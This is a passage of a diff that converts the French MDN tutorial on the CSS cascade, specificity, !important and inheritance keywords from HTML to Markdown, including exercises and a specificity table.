transmise par héritage la propriété est redéfinie à <code>inherit</code>.</dd> - <dt>{{cssxref("unset")}}</dt> - <dd>Redéfinit la propriété à sa valeur naturelle : si la propriété est transmise par héritage, le comportement est le même que <code>inherit</code>, sinon il est identique à <code>initial</code>.</dd> -</dl> +- {{cssxref("inherit")}} + - : La propriété correspondante prend la valeur définie dans l'élément parent. Dans les faits, cela "active l'héritage". +- {{cssxref("initial")}} + - : La propriété correspondante prend la valeur par défaut définie dans la feuille de style du navigateur. Si aucune valeur n'est définie par défaut dans le navigateur et que la propriété est transmise par héritage la propriété est redéfinie à `inherit`. +- {{cssxref("unset")}} + - : Redéfinit la propriété à sa valeur naturelle : si la propriété est transmise par héritage, le comportement est le même que `inherit`, sinon il est identique à `initial`. -<div class="note"> -<p><strong>Note :</strong> Il existe aussi la valeur {{cssxref("revert")}}, dont le support par les navigateurs est limité.</p> -</div> +> **Note :** Il existe aussi la valeur {{cssxref("revert")}}, dont le support par les navigateurs est limité. -<div class="note"> -<p><strong>Note :</strong> Voir {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} pour plus d'informations sur chacune de ces valeurs et comment elles fonctionnent.</p> -</div> +> **Note :** Voir {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} pour plus d'informations sur chacune de ces valeurs et comment elles fonctionnent. -<p>Voyons maintenant comment les valeurs universelles fonctionnent sur un exemple : une liste de liens. Dans l'exemple live ci-dessous, vous pourrez manipuler CSS et observer directement les effets de vos modifications. Jouer avec le code est vraiment le meilleur moyen pour progresser en HTML et CSS.</p> +Voyons maintenant comment les valeurs universelles fonctionnent sur un exemple : une liste de liens. Dans l'exemple live ci-dessous, vous pourrez manipuler CSS et observer directement les effets de vos modifications. Jouer avec le code est vraiment le meilleur moyen pour progresser en HTML et CSS. -<p>Par exemple :</p> +Par exemple : -<ol> - <li>Le deuxième item de la liste est dans la classe <code>my-class-1</code>. Cela définit la couleur de l'élément <code><a></code> qu'il contient à <code>inherit</code>. Si vous supprimez cette règle, quelle est la couleur du lien ?</li> - <li>Comprenez vous pourquoi les troisième et quatrième liens sont de la couleur qu'ils sont ? Dans la négative, relisez la description des valeurs spéciales ci-dessus.</li> - <li>Quels liens changeront de couleur si on redéfinit la couleur de l'élément <code><a></code> — par exemple <code>a { color: red; }</code> ?</li> -</ol> +1. Le deuxième item de la liste est dans la classe `my-class-1`. Cela définit la couleur de l'élément `<a>` qu'il contient à `inherit`. Si vous supprimez cette règle, quelle est la couleur du lien ? +2. Comprenez vous pourquoi les troisième et quatrième liens sont de la couleur qu'ils sont ? Dans la négative, relisez la description des valeurs spéciales ci-dessus. +3. Quels liens changeront de couleur si on redéfinit la couleur de l'élément `<a>` — par exemple `a { color: red; }` ? -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} </p> +{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} -<h3 id="Réinitialiser_la_valeur_de_toutes_les_propriétés">Réinitialiser la valeur de toutes les propriétés</h3> +### Réinitialiser la valeur de toutes les propriétés -<p>En CSS, la propriété raccourci <code>all</code> peut être utilisée pour appliquer l'une des valeurs d'héritage à (presque) toutes les propriétés d'un coup. Elle peut prendre n'importe laquelle des valeurs d'héritage (<code>inherit</code>, <code>initial</code>, <code>unset</code>, ou <code>revert</code>). C'est un moyen pratique d'annuler les modifications apportées aux styles pour revenir à un point de départ connu avant de commencer de nouvelles modifications.</p> +En CSS, la propriété raccourci `all` peut être utilisée pour appliquer l'une des valeurs d'héritage à (presque) toutes les propriétés d'un coup. Elle peut prendre n'importe laquelle des valeurs d'héritage (`inherit`, `initial`, `unset`, ou `revert`). C'est un moyen pratique d'annuler les modifications apportées aux styles pour revenir à un point de départ connu avant de commencer de nouvelles modifications. -<p>Dans l'exemple ci-dessous, nous avons deux blocs de citations. Pour le premier, un style est appliqué à l'élément <code><blockquote></code> lui-même, le second <code><blockquote></code> appartient à une classe qui définit la valeur de <code>all</code> à <code>unset</code>.</p> +Dans l'exemple ci-dessous, nous avons deux blocs de citations. Pour le premier, un style est appliqué à l'élément `<blockquote>` lui-même, le second `<blockquote>` appartient à une classe qui définit la valeur de `all` à `unset`. -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} </p> +{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} -<p>Essayez de donner à <code>all</code> l'une des autres valeurs possibles et observez les changements.</p> +Essayez de donner à `all` l'une des autres valeurs possibles et observez les changements. -<h2 id="Comprendre_la_cascade">Comprendre la cascade</h2> +## Comprendre la cascade -<p>Nous comprenons maintenant pourquoi un paragraphe imbriqué profondément dans la structure du code HTML a la même couleur que le <code><body></code>, et à partir des parties précédentes, nous comprenons comment changer la mise en forme d'un élément où qu'il soit dans le document — que ce soit par un sélecteur de type ou en créant une classe. Nous allons maintenant examiner comment la cascade détermine la règle CSS qui s'applique quand plusieurs règles ciblent le même élément.</p> +Nous comprenons maintenant pourquoi un paragraphe imbriqué profondément dans la structure du code HTML a la même couleur que le `<body>`, et à partir des parties précédentes, nous comprenons comment changer la mise en forme d'un élément où qu'il soit dans le document — que ce soit par un sélecteur de type ou en créant une classe. Nous allons maintenant examiner comment la cascade détermine la règle CSS qui s'applique quand plusieurs règles ciblent le même élément. -<p>Il y a trois facteurs à prendre en compte, listés ci-dessous par ordre décroissant d'importance. Les premiers critères prennent le dessus sur ceux qui viennent après :</p> +Il y a trois facteurs à prendre en compte, listés ci-dessous par ordre décroissant d'importance. Les premiers critères prennent le dessus sur ceux qui viennent après : -<ol> - <li><strong>Importance</strong></li> - <li><strong>Spécificité</strong></li> - <li><strong>Ordre d'apparition dans le source</strong></li> -</ol> +1. **Importance** +2. **Spécificité** +3. **Ordre d'apparition dans le source** -<p>Passons les en revue en partant de la fin, pour voir comment les navigateurs déterminent quel CSS doit être appliqué.</p> +Passons les en revue en partant de la fin, pour voir comment les navigateurs déterminent quel CSS doit être appliqué. -<h3 id="Ordre_dapparition_dans_le_source">Ordre d'apparition dans le source </h3> +### Ordre d'apparition dans le source -<p>Nous avons déjà vu comment l'ordre d'apparition dans le source compte dans la cascade. Si deux règles avec le même poids s'appliquent alors celle qui vient en dernier dans le CSS l'emporte. L'intuition est la suivante : plus on avance dans le CSS plus on s'approche de l'élément ciblé ; quand une règle le sélectionne, elle écrase la précédente jusqu'à la dernière règle rencontrée dans le source qui l'emporte et met en forme l'élément..</p> +Nous avons déjà vu comment l'ordre d'apparition dans le source compte dans la cascade. Si deux règles avec le même poids s'appliquent alors celle qui vient en dernier dans le CSS l'emporte. L'intuition est la suivante : plus on avance dans le CSS plus on s'approche de l'élément ciblé ; quand une règle le sélectionne, elle écrase la précédente jusqu'à la dernière règle rencontrée dans le source qui l'emporte et met en forme l'élément.. -<h3 id="Spécificité_2">Spécificité</h3> +### Spécificité -<p>L'ordre des règles dans le source est important. On rencontre pourtant des situations où deux règles ciblent le même élément mais c'est la première écrite dans le source qui s'applique. C'est que la première règle a une <strong>spécificité</strong> plus élevée — elle est plus spécifique, elle est donc choisie par le navigateur pour mettre en forme l'élément.</p> +L'ordre des règles dans le source est important. On rencontre pourtant des situations où deux règles ciblent le même élément mais c'est la première écrite dans le source qui s'applique. C'est que la première règle a une **spécificité** plus élevée — elle est plus spécifique, elle est donc choisie par le navigateur pour mettre en forme l'élément. -<p>Comme nous l'avons vu plus haut dans cette leçon, un sélecteur de classe a plus de poids qu'un sélecteur d'élément, de sorte que les propriétés définies sur la classe remplaceront celles appliquées directement à l'élément.</p> +Comme nous l'avons vu plus haut dans cette leçon, un sélecteur de classe a plus de poids qu'un sélecteur d'élément, de sorte que les propriétés définies sur la classe remplaceront celles appliquées directement à l'élément. -<p>Un point important à noter : dans la cascade, on pourrait penser qu'une règle postérieure écrase une règle antérieure. En fait, ce n'est pas la règle toute entière qui est écrasée, mais seulement les propriétés communes aux deux règles qui sont redéfinies par la dernière version rencontrée.</p> +Un point important à noter : dans la cascade, on pourrait penser qu'une règle postérieure écrase une règle antérieure. En fait, ce n'est pas la règle toute entière qui est écrasée, mais seulement les propriétés communes aux deux règles qui sont redéfinies par la dernière version rencontrée. -<p>Ce comportement permet d'éviter la répétition dans votre CSS. Une pratique courante consiste à définir des styles génériques pour les éléments de base, puis à créer des classes pour les cas particuiers. Par exemple, dans la feuille de style ci-dessous, nous avons défini des styles génériques pour les titres de niveau 2, puis créé des classes qui ne modifient que certaines des propriétés et valeurs. Les valeurs définies initialement sont appliquées à tous les titres, puis les valeurs plus spécifiques sont appliquées seulement aux titres avec l'attribut classe.</p> +Ce comportement permet d'éviter la répétition dans votre CSS. Une pratique courante consiste à définir des styles génériques pour les éléments de base, puis à créer des classes pour les cas particuiers. Par exemple, dans la feuille de style ci-dessous, nous avons défini des styles génériques pour les titres de niveau 2, puis créé des classes qui ne modifient que certaines des propriétés et valeurs. Les valeurs définies initialement sont appliquées à tous les titres, puis les valeurs plus spécifiques sont appliquées seulement aux titres avec l'attribut classe. -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} </p> +{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} -<p>Voyons maintenant comment le navigateur calcule la spécificité. Nous savons déjà qu'un sélecteur d'élément a une faible spécificité et peut être écrasé par une classe. Essentiellement, une valeur en points est attribuée à différents types de sélecteurs, et leur addition donne le poids de ce sélecteur particulier, qui peut ensuite être évalué par rapport à d'autres correspondances potentielles.</p> +Voyons maintenant comment le navigateur calcule la spécificité. Nous savons déjà qu'un sélecteur d'élément a une faible spécificité et peut être écrasé par une classe. Essentiellement, une valeur en points est attribuée à différents types de sélecteurs, et leur addition donne le poids de ce sélecteur particulier, qui peut ensuite être évalué par rapport à d'autres correspondances potentielles. -<p>Le score de spécificité d'un sélecteur est codé par quatre valeurs (ou composants) différentes, qui peuvent être considérées comme des milliers, des centaines, des dizaines et des unités — quatre chiffres simples dans quatre colonnes :</p> +Le score de spécificité d'un sélecteur est codé par quatre valeurs (ou composants) différentes, qui peuvent être considérées comme des milliers, des centaines, des dizaines et des unités — quatre chiffres simples dans quatre colonnes : -<ol> - <li><strong>Milliers </strong>: ajouter 1 dans cette colonne si la déclaration apparaît dans un {{htmlattrxref("style")}} , (style inline). De telles déclarations n'ont pas de sélecteurs, leur spécificité est toujours simplement 1000.</li> - <li><strong>Centaines </strong>: ajouter 1 dans cette colonne pour chaque sélecteur d'ID contenu à l'intérieur du sélecteur global.</li> - <li><strong>Dizaines </strong>: ajouter 1 dans cette colonne pour chaque sélecteur de classe, d'attribut ou de pseudo-classe contenu à l'intérieur du sélecteur global.</li> - <li><strong>Unités </strong>: ajouter 1 dans cette colonne pour chaque sélecteur d'élément ou pseudo-élément contenu à l'intérieur du sélecteur global.</li> -</ol> +1. **Milliers** : ajouter 1 dans cette colonne si la déclaration apparaît dans un {{htmlattrxref("style")}} , (style inline). De telles déclarations n'ont pas de sélecteurs, leur spécificité est toujours simplement 1000. +2. **Centaines** : ajouter 1 dans cette colonne pour chaque sélecteur d'ID contenu à l'intérieur du sélecteur global. +3. **Dizaines** : ajouter 1 dans cette colonne pour chaque sélecteur de classe, d'attribut ou de pseudo-classe contenu à l'intérieur du sélecteur global. +4. **Unités** : ajouter 1 dans cette colonne pour chaque sélecteur d'élément ou pseudo-élément contenu à l'intérieur du sélecteur global. -<div class="note"> -<p><strong>Note :</strong> Le sélecteur universel (<code>*</code>), les combinateurs (<code>+</code>, <code>></code>, <code>~</code>, ' '), et la pseudo-class de négation (<code>:not</code>) n'affectent en rien la spécificité.</p> -</div> +> **Note :** Le sélecteur universel (`*`), les combinateurs (`+`, `>`, `~`, ' '), et la pseudo-class de négation (`:not`) n'affectent en rien la spécificité. -<p>Le tableau suivant montre quelques exemples isolés pour vous mettre dans l'ambiance. Assurez-vous de comprendre dans chaque cas la spécificité annoncée. Nous n'avons pas encore couvert les sélecteurs en détail, mais vous pouvez trouver les informations à propos de chaque sélecteur sur la <a href="/fr/docs/Web/CSS/CSS_Selectors">référence MDN des sélecteurs</a>.</p> +Le tableau suivant montre quelques exemples isolés pour vous mettre dans l'ambiance. Assurez-vous de comprendre dans chaque cas la spécificité annoncée. Nous n'avons pas encore couvert les sélecteurs en détail, mais vous pouvez trouver les informations à propos de chaque sélecteur sur la [référence MDN des sélecteurs](/fr/docs/Web/CSS/CSS_Selectors). -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Sélecteur</th> - <th scope="col">Milliers</th> - <th scope="col">Centaines</th> - <th scope="col">Dizaines</th> - <th scope="col">Unités</th> - <th scope="col">Spécificité</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>h1</code></td> - <td>0</td> - <td>0</td> - <td>0</td> - <td>1</td> - <td>0001</td> - </tr> - <tr> - <td><code>h1 + p::first-letter</code></td> - <td>0</td> - <td>0</td> - <td>0</td> - <td>3</td> - <td>0003</td> - </tr> - <tr> - <td><code>li > a[href*="fr"] > .inline-warning</code></td> - <td>0</td> - <td>0</td> - <td>2</td> - <td>2</td> - <td>0022</td> - </tr> - <tr> - <td><code>#identifiant</code></td> - <td>0</td> - <td>1</td> - <td>0</td> - <td>0</td> - <td>0100</td> - </tr> - <tr> - <td>pas de sélecteurs, la règle est déclarée dans l'attribut {{htmlattrxref("style")}} d'un élément </td> - <td>1</td> - <td>0</td> - <td>0</td> - <td>0</td> - <td>1000</td> - </tr> - </tbody> -</table> +| Sélecteur | Milliers | Centaines | Dizaines | Unités | Spécificité | +| ------------------------------------------------------------------------------------------------------- | -------- | --------- | -------- | ------ | ----------- | +| `h1` | 0 | 0 | 0 | 1 | 0001 | +| `h1 + p::first-letter` | 0 | 0 | 0 | 3 | 0003 | +| `li > a[href*="fr"] > .inline-warning` | 0 | 0 | 2 | 2 | 0022 | +| `#identifiant` | 0 | 1 | 0 | 0 | 0100 | +| pas de sélecteurs, la règle est déclarée dans l'attribut {{htmlattrxref("style")}} d'un élément | 1 | 0 | 0 | 0 | 1000 | + +Avant de continuer, regardons un exemple en action. -<p>Avant de continuer, regardons un exemple en action.</p> +{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} </p> +Alors qu'est-ce qui se passe ici ? Tout d'abord, nous ne sommes intéressés que par les sept premières règles de cet exemple, et comme vous le remarquerez, nous avons inclus leurs valeurs de spécificité dans un commentaire avant chacune. -<p>Alors qu'est-ce qui se passe ici ? Tout d'abord, nous ne sommes intéressés que par les sept premières règles de cet exemple, et comme vous le remarquerez, nous avons inclus leurs valeurs de spécificité dans un commentaire avant chacune.</p> +- Les deux premiers sélecteurs se disputent le style de la couleur d'arrière-plan du lien — le deux gagne et rend la couleur d'arrière-plan bleue car il a un sélecteur d'ID supplémentaire : sa spécificité est de 201 contre 101 pour le sélecteur un. +- Les sélecteurs trois et quatre se disputent le style de la couleur du texte du lien — le quatre gagne et rend le texte blanc car bien qu'il ait un sélecteur d'élément en moins, le sélecteur manquant est remplacé par un sélecteur de classe, qui vaut dix au lieu de un. La spécificité gagnante est donc de 113 contre 104. +- Les sélecteurs cinq, six et sept se disputent le style de la bordure du lien en survol. Le six perd clairement devant le cinq avec une spécificité de 23 contre 24 — il a un sélecteur d'éléments en moins dans la chaîne. Le sept, cependant, bat à la fois cinq et six — il a le même nombre de sous-sélecteurs dans la chaîne que cinq, mais un sélectecur d'élément a été échangé contre un sélecteur de classe. La spécificité gagnante est donc de 33 contre 23 et 24. -<ul> - <li>Les deux premiers sélecteurs se disputent le style de la couleur d'arrière-plan du lien — le deux gagne et rend la couleur d'arrière-plan bleue car il a un sélecteur d'ID supplémentaire : sa spécificité est de 201 contre 101 pour le sélecteur un.</li> - <li>Les sélecteurs trois et quatre se disputent le style de la couleur du texte du lien — le quatre gagne et rend le texte blanc car bien qu'il ait un sélecteur d'élément en moins, le sélecteur manquant est remplacé par un sélecteur de classe, qui vaut dix au lieu de un. La spécificité gagnante est donc de 113 contre 104.</li> - <li>Les sélecteurs cinq, six et sept se disputent le style de la bordure du lien en survol. Le six perd clairement devant le cinq avec une spécificité de 23 contre 24 — il a un sélecteur d'éléments en moins dans la chaîne. Le sept, cependant, bat à la fois cinq et six — il a le même nombre de sous-sélecteurs dans la chaîne que cinq, mais un sélectecur d'élément a été échangé contre un sélecteur de classe. La spécificité gagnante est donc de 33 contre 23 et 24.</li> -</ul> +> **Note :** Cet exemple est simplificateur. En fait, chaque type de sélecteur voit sa spécificité comptée à un niveau qui lui est propre, qui ne peut pas être dépassé par des sélecteurs d'un type avec une spécificité moindre. Par exemple, un *million* de sélecteurs de **class** combinés ne prendront jamais le dessus sur *un* sélecteur d'**id**. +> +> Une manière plus précise d'évaluer la spécificité serait de noter individuellement les niveaux de spécificité en commençant par le plus élevé et en passant au plus bas si nécessaire. Ce n'est que lorsqu'il existe un lien entre les scores des sélecteurs au sein d'un niveau de spécificité que vous devez évaluer le niveau suivant ; sinon, vous pouvez ignorer les sélecteurs de niveau de spécificité inférieur car ils ne peuvent jamais écraser les niveaux de spécificité supérieurs. -<div class="note"> -<p><strong>Note :</strong> Cet exemple est simplificateur. En fait, chaque type de sélecteur voit sa spécificité comptée à un niveau qui lui est propre, qui ne peut pas être dépassé par des sélecteurs d'un type avec une spécificité moindre. Par exemple, un <em>million</em> de sélecteurs de <strong>class</strong> combinés ne prendront jamais le dessus sur <em>un</em> sélecteur d'<strong>id</strong>.</p> +### !important -<p>Une manière plus précise d'évaluer la spécificité serait de noter individuellement les niveaux de spécificité en commençant par le plus élevé et en passant au plus bas si nécessaire. Ce n'est que lorsqu'il existe un lien entre les scores des sélecteurs au sein d'un niveau de spécificité que vous devez évaluer le niveau suivant ; sinon, vous pouvez ignorer les sélecteurs de niveau de spécificité inférieur car ils ne peuvent jamais écraser les niveaux de spécificité supérieurs.</p> -</div> +Vous pouvez annuler tous les calculs ci-dessus à l'aide de la valeur CSS spéciale `!important` mais vous devez être très prudent avec son utilisation. Ce mot-clé est utilisé pour donner la plus grande spécificité à la propriété à laquelle il s'applique, remplaçant ainsi les règles normales de la cascade. -<h3 id="!important">!important</h3> +Jetez un œil à cet exemple : nous avons deux paragraphes, dont l'un a un ID. -<p>Vous pouvez annuler tous les calculs ci-dessus à l'aide de la valeur CSS spéciale <code>!important</code> mais vous devez être très prudent avec son utilisation. Ce mot-clé est utilisé pour donner la plus grande spécificité à la propriété à laquelle il s'applique, remplaçant ainsi les règles normales de la cascade.</p> +{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} -<p>Jetez un œil à cet exemple : nous avons deux paragraphes, dont l'un a un ID.</p> +Regardons ça d'un peu plus près pour mieux comprendre — si vous avez du mal à suivre, supprimez telle ou telle déclaration pour voir ce qui se passe. -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} </p> +1. Vous verrez que les valeurs de couleur et de remplissage de la troisième règle ont été appliquées, mais pas la couleur d'arrière-plan. Pourquoi ? On pourrait penser que les trois déclarations s'appliquent, puisque la règle en question, venant plus tard dans le code source, prend le dessus sur les règles antérieures. +2. Mais rappelez vous, les sélecteurs de classe sont plus spécifiques ! +3. Les deux éléments sont dans la classe `better`, mais le deuxième a aussi l'{{htmlattrxref("id")}} `winning`. Étant donné que les ID ont une spécificité encore plus élevée que les classes (sur une page, pour une ID donnée, il y a un seul élément, alors qu'on peut trouver de nombreux éléments dans la même classe — les sélecteurs d'ID sont donc très spécifiques dans ce qu'ils ciblent), le deuxième élément aura une couleur d'arrière-plan rouge et une bordure noire de 1 px ; pour le premier élément, la couleur d'arrière-plan sera grise, sans bordure, comme spécifié par la classe. +4. Le deuxième élément a un arrière-plan rouge, mais pas de bordure. Pourquoi ? En raison de la déclaration `!important` dans la deuxième règle — écrit après `border: none`, ce mot-clé signifie que cette déclaration l'emporte sur le `border` définie dans la règle précédente, même si l'ID a une spécificité plus élevée. -<p>Regardons ça d'un peu plus près pour mieux comprendre — si vous avez du mal à suivre, supprimez telle ou telle déclaration pour voir ce qui se passe.</p> +> **Note :** La seule façon de dépasser cette déclaration `!important` serait d'ajouter un `!important` dans une déclaration de même *spécificité* apparaissant plus bas dans l'ordre du source, ou avec une spécificité plus grande. -<ol> - <li>Vous verrez que les valeurs de couleur et de remplissage de la troisième règle ont été appliquées, mais pas la couleur d'arrière-plan. Pourquoi ? On pourrait penser que les trois déclarations s'appliquent, puisque la règle en question, venant plus tard dans le code source, prend le dessus sur les règles antérieures.</li> - <li>Mais rappelez vous, les sélecteurs de classe sont plus spécifiques !</li> - <li>Les deux éléments sont dans la classe <code>better</code>, mais le deuxième a aussi l'{{htmlattrxref("id")}} <code>winning</code>. Étant donné que les ID ont une spécificité encore plus élevée que les classes (sur une page, pour une ID donnée, il y a un seul élément, alors qu'on peut trouver de nombreux éléments dans la même classe — les sélecteurs d'ID sont donc très spécifiques dans ce qu'ils ciblent), le deuxième élément aura une couleur d'arrière-plan rouge et une bordure noire de 1 px ; pour le premier élément, la couleur d'arrière-plan sera grise, sans bordure, comme spécifié par la classe.</li> - <li>Le deuxième élément a un arrière-plan rouge, mais pas de bordure. Pourquoi ? En raison de la déclaration <code>!important</code> dans la deuxième règle — écrit après <code>border: none</code>, ce mot-clé signifie que cette déclaration l'emporte sur le <code>border</code> définie dans la règle précédente, même si l'ID a une spécificité plus élevée.</li> -</ol> +Il est utile de connaître `!important` , ne serait-ce que pour le reconnaître dans le code des autres. **Cependant, nous vous recommandons fortement de ne jamais l'utiliser, sauf en dernier recours.** `!important` modifie le fonctionnement normal de la cascade, de sorte qu'il peut être très difficile de résoudre les problèmes de débogage CSS, en particulier dans une grande feuille de style. -<div class="note"> -<p><strong>Note :</strong> La seule façon de dépasser cette déclaration <code>!important</code> serait d'ajouter un <code>!important</code> dans une déclaration de même<em> spécificité</em> apparaissant plus bas dans l'ordre du source, ou avec une spécificité plus grande.</p> -</div> +Lorsque vous travaillez sur un CMS où vous ne pouvez pas modifier les modules CSS de base et que vous souhaitez malgré tout remplacer un style, vous serez peut être amené à utiliser `!important`. Mais vraiment, si vous pouvez l'éviter, ne l'utilisez pas. -<p>Il est utile de connaître <code>!important</code> , ne serait-ce que pour le reconnaître dans le code des autres. <strong>Cependant, nous vous recommandons fortement de ne jamais l'utiliser, sauf en dernier recours.</strong> <code>!important</code> modifie le fonctionnement normal de la cascade, de sorte qu'il peut être très difficile de résoudre les problèmes de débogage CSS, en particulier dans une grande feuille de style.</p> +## Où sont écrites les règles CSS -<p>Lorsque vous travaillez sur un CMS où vous ne pouvez pas modifier les modules CSS de base et que vous souhaitez malgré tout remplacer un style, vous serez peut être amené à utiliser <code>!important</code>. Mais vraiment, si vous pouvez l'éviter, ne l'utilisez pas.</p> +Enfin, il est également utile de noter que l'importance d'une déclaration CSS dépend de la feuille de style dans laquelle elle est spécifiée — il est possible pour les utilisateurs de définir des feuilles de style personnalisées pour remplacer les styles du développeur, par exemple si un utilisateur est malvoyant, il peut vouloir doubler la taille de la police sur toutes les pages web visitées afin de faciliter la lecture. -<h2 id="Où_sont_écrites_les_règles_CSS">Où sont écrites les règles CSS</h2> +## En résumé -<p>Enfin, il est également utile de noter que l'importance d'une déclaration CSS dépend de la feuille de style dans laquelle elle est spécifiée — il est possible pour les utilisateurs de définir des feuilles de style personnalisées pour remplacer les styles du développeur, par exemple si un utilisateur est malvoyant, il peut vouloir doubler la taille de la police sur toutes les pages web visitées afin de faciliter la lecture.</p> +Les déclarations en conflit seront appliquées dans l'ordre suivant, les déclarations ultérieures remplaçant les déclarations antérieures : -<h2 id="En_résumé">En résumé</h2> +1. Déclarations dans les feuilles de style de l'agent utilisateur (par exemple, les styles par défaut du navigateur, utilisés lorsqu'aucun autre style n'est défini). +2. Déclarations normales dans les feuilles de style utilisateur (styles personnalisés définis par un utilisateur). +3. Déclarations normales dans les feuilles de style d'auteur (ce sont les styles définis par nous, les développeurs web). +4. Déclarations `!important` dans les feuilles de style d'auteur. +5. Déclarations `!important` dans les feuilles de style utilisateur. -<p>Les déclarations en conflit seront appliquées dans l'ordre suivant, les déclarations ultérieures remplaçant les déclarations antérieures :</p> +Il est logique que les feuilles de style des développeurs web remplacent les feuilles de style utilisateur, de sorte que la conception peut être conservée comme prévu, mais parfois, les utilisateurs ont de bonnes raisons de remplacer les styles des développeur web, comme mentionné ci-dessus — cela peut être réalisé en utilisant `!important` dans leurs règles. -<ol> - <li>Déclarations dans les feuilles de style de l'agent utilisateur (par exemple, les styles par défaut du navigateur, utilisés lorsqu'aucun autre style n'est défini).</li> - <li>Déclarations normales dans les feuilles de style utilisateur (styles personnalisés définis par un utilisateur).</li> - <li>Déclarations normales dans les feuilles de style d'auteur (ce sont les styles définis par nous, les développeurs web).</li> - <li>Déclarations <code>!important</code> dans les feuilles de style d'auteur.</li> - <li>Déclarations <code>!important</code> dans les feuilles de style utilisateur.</li> -</ol> +## Activité : jouer dans la cascade -<p>Il est logique que les feuilles de style des développeurs web remplacent les feuilles de style utilisateur, de sorte que la conception peut être conservée comme prévu, mais parfois, les utilisateurs ont de bonnes raisons de remplacer les styles des développeur web, comme mentionné ci-dessus — cela peut être réalisé en utilisant <code>!important</code> dans leurs règles.</p> +Dans cette activité, nous vous engageons à tenter l'expérience suivante : écrire une règle redéfinissant les couleurs de police et de fond pour les liens par défaut. La contrainte est de réinitialiser la couleur d'arrière-plan en blanc sans utiliser de valeur `<color>`. Vous pouvez par contre utiliser l'une des valeurs spéciales que nous avons examinées dans la section {{anch("Contrôler_lhéritage")}} dans une nouvelle règle. -<h2 id="Activité_jouer_dans_la_cascade">Activité : jouer dans la cascade</h2> +Si vous faites une erreur, vous pouvez toujours remettre à zéro l'exemple live à l'aide du bouton <kbd>Reset</kbd>. Si vous êtes vraiment coincé, [jetez un coup d'œil à la solution ici](https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-cascade). -<p>Dans cette activité, nous vous engageons à tenter l'expérience suivante : écrire une règle redéfinissant les couleurs de police et de fond pour les liens par défaut. La contrainte est de réinitialiser la couleur d'arrière-plan en blanc sans utiliser de valeur <code><color></code>. Vous pouvez par contre utiliser l'une des valeurs spéciales que nous avons examinées dans la section {{anch("Contrôler_lhéritage")}} dans une nouvelle règle.</p> +{{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}} -<p>Si vous faites une erreur, vous pouvez toujours remettre à zéro l'exemple live à l'aide du bouton <kbd>Reset</kbd>. Si vous êtes vraiment coincé, <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md#the-cascade">jetez un coup d'œil à la solution ici</a>.</p> +## À suivre -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/task.html", '100%', 700)}}</p> +Si vous avez compris cet article, alors, bravo — vous commencez à appréhender les mécanismes fondamentaux de CSS. L'étape suivante est une étude détaillée des sélecteurs. -<h2 id="À_suivre">À suivre</h2> +Si la cascade, la spécificité et l'héritage gardent encore de leur mystère, pas de panique ! C'est vraiment le point le plus compliqué qu'on ait abordé depuis le début de ce cours, et même les web developers professionnels s'y cassent parfois les dents. Notre avis : poursuivez le cours et revenez régulièrement lire cet article, continuez à y réfléchir. -<p>Si vous avez compris cet article, alors, bravo — vous commencez à appréhender les mécanismes fondamentaux de CSS. L'étape suivante est une étude détaillée des sélecteurs.</p> +En particulier quand vous rencontrez des comportements étranges où vos règles de style ne s'appliquent pas, revenez ici. Ce pourrait être un problème de spécificité. -<p>Si la cascade, la spécificité et l'héritage gardent encore de leur mystère, pas de panique ! C'est vraiment le point le plus compliqué qu'on ait abordé depuis le début de ce cours, et même les web developers professionnels s'y cassent parfois les dents. Notre avis : poursuivez le cours et revenez régulièrement lire cet article, continuez à y réfléchir.</p> +{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}} -<p>En particulier quand vous rencontrez des comportements étranges où vos règles de style ne s'appliquent pas, revenez ici. Ce pourrait être un problème de spécificité.</p> +## Dans ce cours -<p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p> +1. [Cascade and inheritance](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [CSS selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) -<h2 id="Dans_ce_cours">Dans ce cours</h2> + - [Type, class, and ID selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Attribute selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes and pseudo-elements](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinators](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li> - <li><a 